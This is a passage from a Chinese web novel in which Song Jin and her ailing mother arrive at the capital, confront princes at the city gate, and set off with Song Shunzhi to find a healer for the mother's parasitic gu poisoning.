阴谋阳谋,真失忆假失忆,她一审便知——这个她超有经验,不然之前也不可能那么快的就找出了梁家的密道,知道他们的打算 末日大佬宋锦胸有成竹 牛铁兰又一巴掌过去,警告:“跟我要面子?” 宋锦蔫了下来,抱住脑袋,不着痕迹地往另一边挪着屁股,避免她心情不好的老娘又一巴掌 牛铁兰把她的小动作看在眼里,却没说什么,只是把目光又放回了对面的曲茂泽身上,声音淡淡:“你叫曲茂泽?” 这是她和曲茂泽说的第一句话,她抿着嘴角,神色淡淡,一双浅色杏眸蕴着秋水,散着凉寒 只要不傻,都能察觉到她的不喜 曲茂泽苦笑:“是,夫人” 牛铁兰:“哪个茂哪个泽?” 曲茂泽沉吟一下,冲着齐铮告罪,然后拿过塌上的笔墨,手腕轻动,挥毫落纸,曲茂泽三个在跃然纸上,便是像宋锦这般不懂字画的人也能看出这字一看就是下了苦功夫的 笔锋遒劲、行云流水、大气磅礴,能看出笔主人的沉稳外表下的肆意豪气 和那人不一样 同样是二十出头,那人沉稳内敛,便是写的字如他一般庄肃,喜欢把一切压在心底,像一团散不开浓云,让人无法探寻其中 而面前的人面如冠玉,气质清和,恰似君子,写的字也带着年轻人的自在,像是天边的清云,一眼便能看清 牛铁兰看着那一模一样的脸、一模一样的名字,说不上是苦涩还是怨恨,又或者是愧疚,她扯着嘴角:“你多少岁?” 曲茂泽歉意:“抱歉夫人,我失忆了,只记得名字” 牛铁兰苦笑:“是吗?那还真是不巧” 曲茂泽行礼,凤眸静静地看着她:“观夫人之色,难不成我以前和夫人认识?” 牛铁兰可以坦然地注视他的脸,那和十来年前一般模样的脸让她清楚地看到了时间的鸿沟,也猜到旧日的荒唐,但她无法直视他的目光 那熟悉的凤眼,漆黑的眸子,让她不由恍惚,仿若回到了梦中 那人站在小院里,就这样静静地注视着她离开,不管是骤雨、寒雪、火光,他总是这样看着她,一年年一月月,她早已记不起他的面容,却也摆脱不了那双眼 她猛的挪开了视线,垂着眼眸,呼吸也乱了几分,强忍镇定:“应是不识,只不过长得有些像一位故人” 曲茂泽扬起嘴角,轻笑:“故人?夫人这般年轻,和我许是同龄,说不定,便是故人呢?” 他的反应让牛铁兰怔了一下,突然觉得有些好笑,笑自己,也笑面前这人 她猝然一笑:“曲公子说笑了,我女儿都这般大了,哪儿能和你同龄?至于故人,我那故人可不会和女子这般说笑,巧合罢了” 曲茂泽眸子深深,目光从牛铁兰 脸上掠到宋锦脸上,良久,笑:“夫人才是说笑,你和宋小姐宛如姐妹,可看不出是母女” 宋锦猛的抬头,瞪眼:“眼睛瞎就算了,耳朵也是聋的啊,我娘亲娘亲叫一路了,你说她是我姐?” 不对劲,这些人都不对劲啊 她承认她娘年轻漂亮貌美如花,但是这是她娘,她亲娘,这一个个的是当她死的吗?净当着她的面打她娘的注意? 宋锦横了横两个男人,目光凶恶:“这是我娘!” 曲茂泽一时无言:“……在下并无他意,宋小姐莫怪” 宋锦呵呵:“最好如此” 牛铁兰看着两人模样,却又有些恍惚 她以前一直觉得自家闺女和那人不像,但是对照着看,除了眼睛,眉毛竟也相似,还有耳朵,嘴唇的颜色…… 牛铁兰猛的收回视线,低头看着双手紧攥着衣襟,压抑内心翻滚的情绪 天下之大,相似之人何其之多 她闺女都能和一个不认识的人长得相似,这人和那人相似又有什么好奇怪的呢?不奇怪,这一点儿也不奇怪 牛铁兰闭上眼,轻轻地靠在背后的车厢上,车内残留的颂草香让她恍惚之余,却又比以往任何时候都清醒 那人只道未曾有妻,可从没说过自己未曾有子啊 十六年过去,若故人早有子,也堪是这般模样 ** 上杨村到都城不到两百里,眼看着就是在都城脚下了,车马加快了行速度 一行人在卯时出发,赶在酉时前赶到了都城 这是宋锦第一次来都城,远远的,她便被那城门的高度给惊到了,探着脑袋呆呆地看着前面,咽了咽口水,回头冲着齐铮道 “都城城门,这么高啊” 这都三十米往上了啊,上面密密麻麻全是装备齐全的卫兵,还有大型□□,不客气的说,一般人飞不上去,飞上去的二般人也得被戳成筛子 有点危险啊 听到宋锦的话,齐铮身上的冷冽浓了几分,他心情沉重地点了点头:“都城守备森严,白日黑夜都有人巡守,万不可硬闯” 这话也不知道是说给对方还是说给自己 宋锦嘴角一抽:“……我看起来有这么不靠谱吗?” 好吧,在来之前她也想过以后万一有点什么,她就带着她娘翻墙跑路,实在不行了,跑去皇宫搞事情也行。 现在看来,纯粹想多了 她老娘说得对,都城还真没有她想的简单 但是再难,来都来了 宋锦深吸一口气,拉住牛铁兰的手,郑重道:“阿娘,都城坏人多,你去哪儿一定要带上我,千万千万不要一个人乱跑” 本来还有些紧张的牛铁兰:“……这个话该我对你说,都城不比镇上,你给我老实点。你娘我这么多年也过去了,能看好就看,看不好,就这样也没事” 宋锦不乐意了,强调:“什么叫也没事啊,你看看你脸都白成什么样了,就不能想点好的?不成功便成仁,你的病一定会好的,我还等着以后和娘你一起去闯荡江湖呢” 牛铁兰的紧张缓解不少,捏着宋锦的手,笑了笑:“好好好,闯荡江湖” 曲茂泽坐在另一边,看着母女俩亲昵,突然问道:“夫人身体不好?” 宋锦回头,嫌弃:“看不出来?你这失忆是真伤到脑袋了” 曲茂泽苦笑:“夫人吉人天相,肯定药到病除,不像我,也不知道这辈子还有没有机会恢复” 宋锦嘀咕:“失个忆而已,说得好像要死了似的,矫情” 齐铮早在听到江湖两个字的时候就忍不住看了过来,静静地看着她们想象江湖的快乐,心情平静如水,只能说现实和想象的差别比人和狗的差别都大 直到曲茂泽开口,他思索了一下,道:“是红线蛊” 曲茂泽瞳孔一缩:“红线蛊?” 说完,他便对上三个人齐齐的目光,发现他们的怀疑,他也不慌不忙,只是苦笑:“在客栈的几日偶然听过客人提到,这般阴狠的东西,没想到会出现在夫人身上,这下蛊之人,真是该死” 宋锦还是怀疑他,不过对这话很是认同,她冷笑一声,跟着咒骂:“就是,那该死的玩意儿,我早晚有一天要把他剁碎喂狗” 曲茂泽赞同:“就该如此” 宋锦看他顺眼了起来,冲他抬着下巴:“就凭你这句话,你日后在都城要是没钱吃饭了,我请你” 曲茂泽嘴角一抽:“……在下便提前谢宋小姐了” 不会有这天的,别想了 宋锦轻挑眉头,勾着嘴角,张狂道:“不客气,只要你别打什么歪主意,吃饭什么的小意思” 不过嘛,真要是有什么歪主意,就别怪她送他去喂老虎了 曲茂泽轻轻一笑:“宋小姐放下,在下不是不识好歹的人” 宋锦意味不明地笑了笑,没回答这个问题,转头看着齐铮,神色也难得庄重,行了个标准礼:“岐王,马上就到城门了,我和我娘还是回我们的马车上。这一路多谢岐王相助,日后若有需要,宋锦义不容辞” 齐铮肃着脸,颔首:“宋小姐不必如此,我什么都没做,倒是之前多有冒犯,望小姐夫人莫怪。此番宋小姐救城有功,我一定如实禀告父皇” 宋锦起身笑笑:“我就不多说什么客套话了,告辞” …… 马车停下,齐铮静静地看着母女俩回到原本的车架上,收回目光,瞥向车上剩下的人,冷冷:“你好像并不奇怪我是岐王” 曲茂泽笑着行了个礼:“岐王恕罪,您这车马如此阵仗,在下早就有所猜测,但是见您不说,便只当不知。” 齐铮哂笑,只道:“你这事打算坐着我的车回都城?” “在下这就下车,多谢岐王”曲茂泽弯腰行礼,笑得意味深长,一字一字,拉长声音 “大人” 第39章 宋商之女 城墙之上,一群人交错而立,静静地注视着远方 那边,整装待发的车队朝着城门前进,从虫蚁一般毫不起眼,到眼前的威风凛凛,领头的骏马高驰、跟随的士兵严峻,皇旗挥扬,肉眼看着便能感受到其中凛然 “看来,老五此次行是顺利完成了父皇的任务” 城墙上,黛蓝长袍的年轻男人轻笑,他靠在城墙上俯瞰下面,说不上是夸还是嘲讽,“不愧是父皇的亲儿子,真是厉害啊” 旁边稍矮一些的赤金男子笑眯眯接话:“父皇就差把亲卫全让他带走了,这要是都做不成,得多年轻气盛啊” 体态圆润,看着就三十出头,最为年长的男人捋了捋腰带,理理领口,道:“走吧,别废话了,老二老三,马车马上便到,我们这些做哥哥的,赶紧下去接老五吧,父皇还在宫里等着呢” 兄弟三互相看看,收起眼中神色,扬起笑,礼貌相让,最后由体态圆润的老大齐昊走在前面,矮个老二齐斌紧跟其后,看起来最为清秀的齐裕走在最后 三个王爷先行转身往下,都城上的其他年轻人互相看看,目光闪烁地在角落几人身上闪过,有些迟疑不定 一名白衣男子噙着笑站了出来,撞过脸上青紫的黑衣男,看似翩翩有礼,脸上难掩嘲讽之意 “岐王顺利归来,我等臣子该是开心才对,顺之兄这一脸沉重,知道的明白你是为宋大人担心,不知道的,还以为你不高兴岐王呢。我看你还是就在最后,也免得惹得岐王不悦” 由他领头,其余人三三五五跟在后面,嘴上说着冒犯,但转身得一个比一个快,过分些的更是嚣张地撞着人肩膀走去 宋顺之站在原地看着这些人,深邃的眉骨上拇指长的伤痕滚动,看起来有些许狰狞之意,但是他却只是扯了扯嘴角,冲着犹豫地其他人摆手 “诸位先请,卫兄说得有理 ,我有伤在身,恐冲撞岐王,还是各位在前为好” 那些还站在原地的人面面相觑,最后还是冲他摆手,转身离开,留下宋顺之一个人走在最后,一瘸一拐地下楼 人群中有心生不忍的人,步子微停就被身旁好友拉住,低斥:“你干什么?” 男人不忍:“行之兄平日待我不差,现在家里出事不足一月” 好友低斥:“那位失踪近一月了,基本上……你别给自己找麻烦,宋行之是帮过你,但是你也要看看他们得罪的是谁,你是惹得起英国公世子,还是惹得起晋王?” 男人不说话了,无奈地叹了叹气,没什么精神地跟在人群最后,看着这些往日殷勤,此番冷漠的众人,心里悲凉 树倒猢狲散,这些个口口声声君子之道的人,到底还是没谁能成君子 不过他也没资格说别人,说到底,他也只是小人罢了 …… 人群继续下楼 城楼高达三十米,中间分为五层,楼道曲折,对于身强体壮的年轻人自然不难,但是对于一个瘸了腿带着上的人来说可不简单 本来,按照宋顺之的情况,他应该带着小厮一起上来的才对,也有个扶的人,但是上之前,二皇子晋王特意说了为表示诚意,所有人不得带下人上 宋顺之只得靠自己上下城楼,即便再是小心,扶着楼梯,也撕扯伤口,带来一阵阵疼痛,他却眉头都不皱一下,面无表情地一瘸一拐走在后面,显得习以为常了 他知道,这只是个开始罢了 他就这样一点点下了城楼,等到他下来的时候,岐王车马已到门前。城门里外被早早吩咐的士兵们清了出来,道路整洁,路上空无一人,只余下在场特意迎接的各位世家公子 其中三位皇子站在最前 大皇子恭王齐昊,二皇子晋王齐斌,三皇子理王齐裕 当今皇上齐骅名下共有十六子,除了岐王齐铮,其余全是收养的宗室子,因病因故去世五人,现在仍有十子,最为年长的是恭王齐昊,今年已是而立之年,最年幼的十六皇子齐佳不过六岁 而其中封王的,便是上面三位王爷,和岐王四人 “臣参见恭王、晋王、理王” 齐铮坐在车内闭目养神,直到车马停下,听到外面传来李青山行礼的声音,他才睁开眼起身。他俊美的五官冷硬,整个人像是险峻山顶的石头,冷冽中带着肃杀之气,就这样缓缓走下马车 车外,京都俊杰集齐大半,一个个或多或少交头接耳,在他下车的那一刻纷纷停下动作,齐齐行礼 “参见岐王” 齐铮当王爷也半年了,对这些场面也游刃有余,他肃着脸,颔首:“诸位有礼了” 说着,他的目光在人群中游荡,好一会儿才在最不起眼的后面看到宋顺之 他眼角那一抹伤很是明显,差一点便会伤到眼睛,嘴角也带着伤口,虽然站得很是端正,也不妨碍齐铮看出他左腿带伤 宋商出事不到一月,往日万众瞩目占据中心位的宋家人便发配边角,周围的人已经见怪不怪,可见宋家现在在都城的情况 那必定是四面楚歌 人心,一贯凉薄 齐铮垂眸掩住眼中嘲讽,而后抬眼,正对宋顺之:“宋大人可有消息?” 宋顺之一愣,随即行礼,苦涩:“禀岐王,家父暂不消息,不知大哥此行可顺?” 齐铮:“他无事,待查完梁家之事便回,你身上这伤是怎么回事?便是宋大人失踪,你依旧是刑部官员,伤害朝臣官员,乃重罪” 在场知道些内情的人下意识看向那面色不自然的晋王齐斌 齐斌有些愠怒,他们特意前来接人,这老五可真不识抬举,不过再是不舒服也只在心里,他笑着打断人,道 “宋大人为朝付出颇多,他们也不能仗此不知尊卑,出言冒犯与我,老五这是刚回来便要问责二哥?出门一趟,真是好大的威风,看来父皇人这次派你出去是对了” 齐铮对此也不奇怪,宋家此刻便是出事了,明里暗里使绊子的人不少,但是真明着伤人了,暂时也只有皇家宗室的人了 他面无表情:“哦” 齐斌被他这不咸不淡的态度看得更恼累,但是人刚回来,当着这么多人的面,他压下恼怒,和气笑道 “老五你还是这样,算了,你刚回家里不久,我们这做哥哥的就不和你计较。先回去吧,父皇还在宫里等着你” 一语双关,说的是他刚从泗安县回来,也说他自小民间长大没规矩 对此,齐铮眉头都不皱一下,又哦了一声,朝着旁边的齐昊齐裕打着招呼:“大哥三哥,好久不见,近来可好?” 有些小胖的齐昊乐呵呵:“好着你,倒是你,看起来瘦了些,这次路上没少吃苦,等明日来大哥这好好喝酒” 个头略矮的齐裕笑眯眯:“回来就好,先回宫里看父皇,后面三哥给你接风洗尘” 被无视的齐斌更恼了,这该死的老五,还有老大老三两个墙头草,真以为人说两句好话就真跟着他们了 这可是父皇的亲儿子,威胁可比他们这些人大多了 齐斌在心里一番骂咧,面上却笑得更为和气体贴:“二哥也给你准备了宴席,老五你这次可不能拒了” 齐铮颔首:“三位哥哥诸事繁忙,不如一起吧” 三人:…… 还是你忙点,吃酒都凑一堆咧 齐铮说完便再次看向宋顺之,道:“我回来之前受宋侍郎所托送人,现在人已送到,便将人交由于你。” 听到这话,宋顺之变了脸,在心里怒骂宋行之不靠谱,都什么时候了,还在外面招蜂引蝶,这是嫌弃他们家死得不够快是吧? 不只是他,在场其他人听到这话,第一反应也是宋行之出去干活还找美人 这要是之前不算什么,现在是宋商出事了,他还如此行径 够御史参他两参了 齐铮将在场的人神色尽收眼底,不着痕迹地看向车马另一边,那据说失忆的曲茂泽站在侍卫中间,脸上带笑,看起来没什么奇怪的 齐铮压下怀疑,收回目光,冲着李青山道:“你一会儿护送宋小姐回家,注意别弄错行李” 李青山抱拳:“王爷放心,臣定护送宋小姐他们安全到家” 两人都对话让大家有些摸不着头脑了 什么叫宋?什么叫回家? 宋行之找个美人,按照齐铮的性子愿意给他送人已经很不错了,还特意安排人护送回家…… 宋顺之也反应过来,老大那人虽然平日确实不太靠谱,但是这种时候,应该不至于犯这般错误 爹生死不知,他怎么也不至于蠢到这种地步 他迟疑问:“岐王,这宋小姐是” 齐铮颔首:“是宋大人之女,宋锦,她从小在乡下长大,这次泗安县和宋侍郎偶然相遇才身世大白。现在宋大人虽然生死未明,但他养育你们兄弟多年,望你们妥善安置宋小姐,莫辜负宋大人一片养育之恩” “……” 此话一出,在场的所有人都怀疑是自己听错了 什么身世什么亲女? 最迷茫震惊的还是要数宋顺之了,他呆愣在原地,看着这个他爹亲自带回来、表面看似对他们家友善的王爷,脑中已经闪过无数种阴谋诡计 这究竟是恩将仇报,还是以怨报德,还是背信弃义,还是丧心病狂…… 城门口陷入了死一般的寂静 此时,宋锦和牛铁兰母女俩坐在自家的马车里面 牛铁兰苍白着脸,不舒服地躺在一边,小耳小眉坐在旁边给她按手按脚,用湿毛巾擦着额头 宋锦时不时给她输着内力压制蛊虫,看着她的目光多了担心,这些天下来,她也发现了这红线蛊比起一开始更为活跃,每次压制需要的内力都在增加 她无所谓耗不耗内力,但这种情况可不太妙 宋锦的心里只有她娘, 也就没注意、也不在乎外面车马停下,只等着一会儿到了地方,让宋家人想办法。当了那么多年的奸臣,宋商不在了,人脉肯定还有,实在不行还有老刘头介绍的怪医 噔噔噔 敲门声打断了宋锦纷乱的思绪,她过去掀开车帘,对上嘴角噙着笑的曲茂泽,她不耐烦道:“干什么?” 曲茂泽眼中闪过沉思,转瞬即逝,道:“前面提到宋小姐,宋小姐要不去打个招呼,也好尽早回去休息?” 宋锦探出脑袋看看前面,很快她就收回脑袋,从车门跳了下来 她一袭红衣耀眼,冷着一张脸,凤眸闪着烦躁,大步流星,一步步越过站直的士兵,踏过高大的城门,径直走到了最前面,站到齐铮的旁边 她双手一抱,目光扫过在场所有人,微抬下巴,毫不客气地开口:“谁是宋家的人?” 宋顺之下意识站出身:“……你” 宋锦打断人:“你什么你?就是你了,赶紧带路,我要回去休息” 宋顺之说不出话来,双眼瞪大,震惊地看着宋锦那张脸 不只是他,在场的所有人目光都落在她的脸上,或震惊错愕或惊惧惶恐 在场的人都是都城年轻一辈里领军的人物,不说认识朝堂所有官员,但是宋商,但凡谁见过他一眼,便绝不会忘记 宋锦和宋商长得太像了,那明艳的面庞,狭长的凤眸,高挑的个头,有瞬间,他们甚至都以为是宋商回来了 但是细看,宋锦作为女子,个头矮上一些,人也纤细不少,就连神态,也嚣张得过于晃眼,和宋商的内敛两模两样,让人能轻易分别,但是 “这也太像了吧” “不会吧?” “宋大人竟然有女儿” …… 众人忍不住低语起来 那可是宋商啊,掌管朝堂二十年,一人之下万人之上,把所有人压得死死的宋商啊。这些年多少人恨恨的牙痒痒的,不知道多少人使劲才迎来他尸骨无存地局面,他竟然还有个女儿? 这些人到底年轻,压不住内心的惊涛骇浪,看着宋锦就挪不开眼 被这么多人注视着,宋锦也没有半分畏惧,抬抬下巴,眉眼一横,冷笑:“看什么看?没见过美人儿吗?再看给你们眼睛都戳了” 所有人:…… 啊,这,真不愧是宋商的女儿? 宋锦一视同仁,骂完那些人,看向宋顺之的目光同样嫌弃:“姓宋的,还在那里磨蹭什么?是腿断了还是脑袋掉了?走得动就给我走起来带路,别在那儿装可怜” 说完,她冲着齐铮点了点下巴算作打招呼,然后大步转身,打算回到马车里 “站住”齐斌这才反应过来,声音厉了几分,喊住她:“谁让你走了?见到我们也不打个招呼,你爹就是这么教你的?” 宋锦嗤笑转身,上下打量着他:“我没爹,怎么,满意了?你谁啊,你爹教你的时候没告诉你和人说话要先自报家门吗?” 齐斌怒:“我乃当今二子晋王,你这贱婢不知好歹,来人,给我拉下去掌嘴” 宋顺之脸色骤变 宋锦半点不怕,悠悠上前一步,手中金令轻晃,转头看着齐铮,故作疑惑:“岐王,这是你哥?我看着怎么一点儿也不像?你长得这么高,眼睛这般大,稳重又大度” 齐铮瞥了一眼脸气成猴屁股的齐斌,嘴角一抽 这是给他拉仇恨呢还是给他拉仇恨啊 齐铮委婉:“是我父皇的儿子,我的二哥,你好好说话” 人就不是亲生的也是王爷皇子 他知道宋锦到了都城肯定得搅得天翻地覆,但这才刚来,还是悠着点吧 宋锦读懂他的暗示,撇了撇嘴,晃着手中金令,装模作样地冲着齐斌行了个乱七八糟的礼:“俗话说得好,不知者无罪,我这个乡下丫头不懂事,您是天潢贵胄龙子王爷,大人有大量,气度非凡,一定不会和我计较的是吧?” 齐铮也道:“宋锦一直在乡下长大,不懂这些,二哥见谅” 齐斌想说见谅个屁,他就是想当着这么多人的面掌着死丫头的嘴,就像是掌宋商一样,但是看着那金令,再看着主动的齐铮,他知道这事不会成了 他冷笑一声,阴阳怪气:“宋大人的千金,怎么会不懂这些?我看啊,是一脉相承的骄纵嚣张,不把我们看在眼里吧?老五啊,难得见你这么护着人,这是看上这丫头了?也是,这丫头和宋大人一般,容貌出众” 这种羞辱性的言语对宋锦毫无威胁,她直接给了个白眼 唧唧歪歪的,啧,跟村头的大妈似的 齐铮皱眉,看了眼不在意的宋锦,直道:“泗安县一行,梁家人丧心病狂打算炸城,是宋小姐不顾危险破了他们的阴谋,她的功劳待我回宫便会禀告父皇,还请二哥慎言” 齐斌噎住:“她?救城?” “二哥有什么疑问,只管回宫对着父皇说。天色黑了,别让父皇在宫中久等,我们走吧。”齐铮说完又看向宋顺之,道 “宋锦身世由宋侍郎验证了,有什么疑问,等他回来了你们商议。这一路车马奔波,你先带人回去歇着吧。” 宋顺之按下心里一堆的疑问,道:“微臣替家父谢岐王一路护送,日后必上门道谢” 就凭宋锦这张脸,她到底是不是亲生的已经不重要了 只要他们兄弟五个尚且一人活着,便必舍命护她 ** 停下的马车重新启程 齐铮坐在车内,感受着衣服内袋里被塞上的药包,在心里叹了口气 这人情,真是越还越多了 不过吧,他抬起头看着对面沉着脸的齐斌,微微敛眸,藏住里面的不以为然 兄弟九个,得罪一人不足挂齿 …… 而在他的车马之后,略显朴素的四马车架缓慢行进,又在前方的岔路上转了个头,朝着另一个方向驶去 转弯时候,宋锦撩起车帘,看着临近黄昏的都城,随便一个小楼也是两层,四层五层比比皆是,行走的百姓衣服也鲜艳而繁杂,处处都彰显着都城的繁华 而错身的车马前,一身白衣的曲茂泽静静地看着这边 宋锦嗤笑一声,直接放下车帘,厚重的帘布挡住外面的一切视线。对于曲茂泽这个奇怪又巧合的失忆人士,她是不可能放下警惕的。而这样的人,除了他,还有马车里的这个 她眯着眼看着宋顺之:“你爹才死,你就被欺负成这样?真是废物” 宋顺之心情复杂,心情沉重:“你们不该这时候回来,宋行之脑子是进水了?” 宋锦瞥他:“他脑袋进水,你脑袋被门夹,真不愧是兄弟俩,一样没用” 宋顺之见她这般说话,很是无奈,但看着她的脸,又只能叹气:“你今年多少岁了?” 宋锦眯眼:“过两月满十五,你呢?听说你们是兄弟五个人,五个人不会都和你跟宋行之一样废物吧?” 都这么废物的话,那真是太没用了 问题太多,嫌弃也太多了,宋顺之本就不是能言善道的人,一时半会儿不知该如何回她,只是沉默着坐在一旁,更做实了小废物的名头 宋锦嫌弃又烦躁:“宋商呢?还没有消息传来?他是怎么出事,在哪里出事的?” 宋顺之有了反应,他苦涩一笑:“在城外的山谷里,落入江里,那江水汹涌,没法找” 虽然江水汹涌,死大于生,但是只要人尸体一日未找到,他们便不会放弃找人的希望 听到江水,宋锦忍不住低咒一声 这要怎么找啊,她娘的蛊耽搁不能耽搁 宋锦烦躁地抓着头发,直道:“我娘身上中了红线蛊,你知道有谁能解决吗?” 宋顺之愣住,看向一路闭眼的牛铁兰,虽然之前也看出她身体不好,但没想到会是蛊。他扯扯嘴唇,苦笑:“若我爹还在,就有法子” 宋锦一拳砸在车身,砰的一下,拳头直接穿过木板,她低咒 :“宋商宋商,你们几个怎么什么都不知道,只知道叫爹?他人都不知道还活着没有,有什么法子?” 宋顺之错愕地看着车架上的破洞:“你……” 宋锦过去拎着他的领子,冷笑:“我什么?我就直说了,我过来都城就是找人给我娘治病的,你们最好给我想到法子,不然我拆了你们这些个姓宋的” 至于宋家和她没关系,没义务帮她们 不好意思,她就是这么不讲理,反正请神容易送神难,这宋家让她来了,就别想随便让她走 宋顺之透过她的眼眸清楚地看到她不讲理的想法,一时哑然。他想到了宋商,那人虽然看似斯文讲道理,实则也是一个样 亲生的,这必须是亲生的 他思绪飘忽得有些远,很快又被脖子上的力道给栓了回来,眼看着再不说话脖子真就要断了,他连忙 “咳,咳咳,等,等等,我,我还有人,有人” 宋锦却紧了紧受手上力道,死死盯着他:“谁?” 宋顺之憋红着脸:“虫,虫老,虫老肯定有办法” 宋锦仔细打量着他,看着他脸上的求生欲,确定他没有撒谎骗她,这才松了力道,却没放开人,而是直接拖着他往外,掀开车帘 老实驾车的李青山一个哆嗦:“怎,怎么了?” 宋锦杀气腾腾,低头:“和他说怎么去,我现在就要去找那个虫子” 一番折腾下,宋顺之明白宋行之那混蛋怎么不跟着一起回来了,感情是自己惹不过人,就把人放过来折腾他们几个是吧? 他深深闭眼:“去午马街” 李青山不敢多问,一秒也不耽搁地驾车转了方向,以城里允许的最快速度朝着午马街开去 看着那越来越近的地方,宋顺之捂着良心,心情沉痛 虫老,保重 第40章 全是虫子 大衍朝的都城叫永安城,永安城纵横交错,呈现一个中字布局 最北边是皇宫,庄重而又瑰丽,周围守备森严,每日巡逻卫兵不断,,住在这里的人,虽富更贵,多是皇族国公 与之对立的南边,位置和北边比一个在上一个在下,便连人也如此。这里拥有着整个永安最多的人数,基本都是贫民百姓,一座座小院接踵,道路狭窄而紧密,又穷又贫 和南边形成鲜明对比的便是一桥之隔的西边,这里有着永安最为繁华的商业街,店铺鳞次,小贩不断,白日咿呀小曲,夜晚红灯高悬,繁华而又奢糜 说简单些就是,北贵南贫西富和 东杂 五马街便在这最杂乱的东区,也是其中最为典型的街道 这里有着永安城最大的马市,也有着都城最大的‘医’馆,更有着都城最大的道学院,和最为出名的武学院,每年都会有不少江湖人士过来——混进去拿了资格,领个职位再好不过,混不进去凑个热闹也成了规矩 因此,这边走两步一匹马,走五步两个江湖人士,跳十步一个神棍 那叫一个猫在墙头跳,狗在巷弯汪 应得上一句鱼龙混杂 宋锦坐在马车里,透过车帘将外面的繁杂尽揽眼底,虽是第一次过来,对这边的情况也猜了个大概了 日子还不错,不穷 但应该没什么重要人物,不然不会有这么浓的江湖气 长剑、刺刃、大刀、长弓…… 但凡是达官贵人居住的区,没几个人敢这么大摇大摆拿出来的 宋锦的目光又掠过前面路边席地而坐、手持算命旗帜的神棍,看着他随便念叨几句,就有路人停下,便知这永安城道教兴盛,百姓对于算命很是热衷 但是总的来说,还是还是信好不信坏——就在几米外的另一处算命摊子,气冲冲的中年女子掀了摊子离开,算命先生看起来习以为常 宋锦摇摇头,又看向正前面过来的马队,一匹匹骏马高昂脑袋,身形流畅,线条优美,一看就是精心挑选出来的 永安城再往北便是敕漠原 敕漠原隶属大衍朝,族人拥有异域血统,擅训马,这些年源源不断地输送了大批宝马过来,也卷起了赛马之风,每年九月便是赛马月,会选出最优秀的马匹和训马人 总的来说,大衍朝国力强盛,粮马充实,国富民丰,每年的大小活动数不胜数 什么元日上元、清明端午、七夕中元、中秋重阳、冬至腊八…… 这种是朝假日,是全国上下都会过的大节,除此以外还有专门的活动日,什么风筝投壶、蹴鞠斗鸡、赛马摔跤、焚香诗会…… 每年都得选出个一二三来 只有没时间参与的,没有无聊没事做的,毕竟除了这种府衙带头的大比之外,还有私底下小团体举行书生诗会、闺秀绣比、江湖骑斗、农人粮比…… 朝力但凡弱一点,可搞不起这些东西来 齐铮他爹,确实有些东西 宋锦在心里夸了夸那老皇帝,继续观察着外面的街道,直到马车的速度一点点缓了下来,完全停在了小楼面前 一路安静如鸡的宋顺之动了起来,道:“到了” 宋锦抬眼看去,面前医馆大门敞亮,一楼宽阔,二楼精巧,往来就医者不断,看得出来这医馆医术超群,才能有此生意,但是 她面无表情地转过头,毫不留情地揪住宋顺之的领子,把人拽了过来,指着医馆门口那高悬的牌匾——养兽堂 宋锦气笑了,磨着牙:“玩儿我呢?” 眼看着那只一拳砸碎车架的手要掐上自己脖子,宋顺之赶紧说道:“虫老就在这,他是爹从岭南救回来的,我之前听他说过一嘴,他肯定知道什么” 宋顺之喜马,家里也养了不少马匹,一旦有点什么也是会过来找虫老看,经常聊天,所以对人的知道的也比其他兄弟多些 他笃定道:“虽然不知道能不能解决红线蛊,但是他以前治好过普通蛊虫,都城里除了爹,我知道的也只有他了” 宋锦微微眯起眼睛,见他不是耍人的姿态,这才松了手,把人往后一扔:“最好如此,别的事我不管,你要是敢在我娘的事情上糊弄我” 说着,她冷笑着伸手掰断车窗的木框,不用多说,威胁之意满满 宋顺之下意识摸了摸胳膊,沉重道:“你放心吧,爹现在不在,我会替他照顾好你们的” 对此,宋锦嗤笑一笑,给了他个白眼,侧身过去,小心地扶起面色虚弱的牛铁兰,脸变得比唱戏的还快,声音柔得不得了:“娘亲忍一忍,我扶你下去” 牛铁兰一路都没什么精气神,但看着旁边打冷颤的宋顺之,还是没忍住冲着自家闺女低声:“别太欺负人,我们只是过来看病的,人不欠我们” 宋顺之脸上伤痕不少,脚也有些瘸,眼看着就是一副倒霉相,现在又被掐又被甩…… 她们和宋家无亲无故,宋家也不欠她们什么,牛铁兰全身都不太舒服,但是良心依旧疼得突出 宋锦则是不以为然,这年头虽然没有末日那般明显,但总的来说还是强者为尊,有钱有势有力气那就是不一样。她脑袋上还有那么多惹不起的人了,现在面对惹得起的人都还唯唯诺诺? 她就不讲道理,又影响谁了? 宋锦不着痕迹地瞪了瞪‘故意’冲她娘‘装可怜’的宋顺之,不情不愿:“……知道了,娘,我们先下去” 算了,她娘身体不好,先糊弄一下再说其他的 牛铁兰也没想自己说两句自己闺女就会改,至少表面上看得过去,她良心也会好受点。想到这,她冲着宋顺之勉强笑笑,捂着不太舒服的心口,佝着腰小心下马 一下马, 一阵晚风迎面吹来,温温热热的,但还是比在马车中清凉不少 宋锦扶着人:“下车是不是要舒服点?” 牛铁兰感叹:“活过来了” 那车轮滚啊滚,车子晃啊晃的,她感觉就像是被滚在了大型的木箱子里,晕乎乎又呕不出,心里憋着又不知道憋的什么 这一路下来,她觉得,就算自己的病看好了,也不能着急离开,那滋味太难受了 看着自己娘亲劫后重生模样,宋锦揶揄:“现在听我的了吧?走的时候还要不要那马车了?” 她说的是宋商那架齐铮同款的马车,稳定性和舒适度一流 牛铁兰最开始是拒绝的,现在悻悻:“你好好和他们说,咱们出钱买” 宋锦忍不住哈哈笑了起来:“买,我有钱” 面对她的揶揄,牛铁兰没好气地戳戳她的脑门,随后握住了她的手,轻轻捏了捏,杏眸微弯,满满的慈意,轻声细语:“别怕,娘没事的” 宋锦的笑戛然截止,她沉默了下来,回手捏了捏她娘的手,只是嗯了一下,笑得很是勉强 她一路再是嚣张强势,真到了医馆门前了,还是有些犹豫 这庸医要是看不了她娘怎么办? 永安城若是都没人能解决又该如何? 岭南,又能顺利吗? …… 牛铁兰就这样满眼慈爱地看着宋锦,看着她迟疑犹豫,看着她强压的忧虑紧张,牛铁兰轻轻抬手,然后重重一敲,声音软腻 “把你的脸收一收,你娘我还没死呢” 宋锦捂着生疼的脑瓜子,小声嘀咕:“我提前准备一下嘛” 牛铁兰抬起手,睨她:“再皮?” 宋锦搓了搓有些僵的脸,然后挽着牛铁兰,冲着她嘿嘿一笑,转头再看向宋顺之,凤眸微眯,里面杀气腾腾:“带路吧” 宋顺之本来想说他们是过来就医不是看病的,最好收着一点儿,毕竟里面的虫老也不是什么好脾气的人,但是宋锦杀气腾腾的目光中,默默改口 “……跟我来” 算了,大不了也就是拆了这医馆 他们家赔得起 